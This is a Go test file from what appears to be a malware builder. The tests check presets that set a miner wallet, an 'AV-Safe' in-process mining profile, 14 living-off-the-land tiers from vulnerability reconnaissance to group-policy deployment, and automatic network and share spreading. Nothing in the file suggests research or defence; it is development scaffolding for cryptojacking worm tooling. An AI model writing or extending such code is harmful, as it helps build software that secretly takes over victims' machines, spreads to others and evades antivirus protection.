package builder import "testing" func TestNormalizeLotlOnionTiers(t *testing.T) { got := NormalizeLotlOnionTiers(nil) if len(got) != 14 || got[0] != "vuln_recon" || got[13] != "gpo" { t.Fatalf("defaults: %v", got) } } func TestApplyLotlOnionPreset(t *testing.T) { req := &BuildRequest{ WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc", } ApplyLotlOnionPreset(req) if !req.LotlOnionEnabled || !req.LotlPolicyFromServer { t.Fatal("lotl flags") } if req.MinerExecution != "inprocess" || req.GPUEnabled { t.Fatal("expected AV-Safe mining profile") } if !req.AutoSpread || !req.ShareSpread || req.SpreadKit { t.Fatal("spread profile") } if len(req.LotlOnionTiers) != 14 { t.Fatalf("tiers: %v", req.LotlOnionTiers) } } func TestNormalizeRequestLotlOnion(t *testing.T) { h := &Handler{} req := &BuildRequest{ WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc", LotlOnionEnabled: true, } if err := h.normalizeRequest(req); err != nil { t.Fatal(err) } if req.MinerExecution != "inprocess" || !req.LotlPolicyFromServer { t.Fatalf("lotl normalize: exec=%q policy=%v", req.MinerExecution, req.LotlPolicyFromServer) } }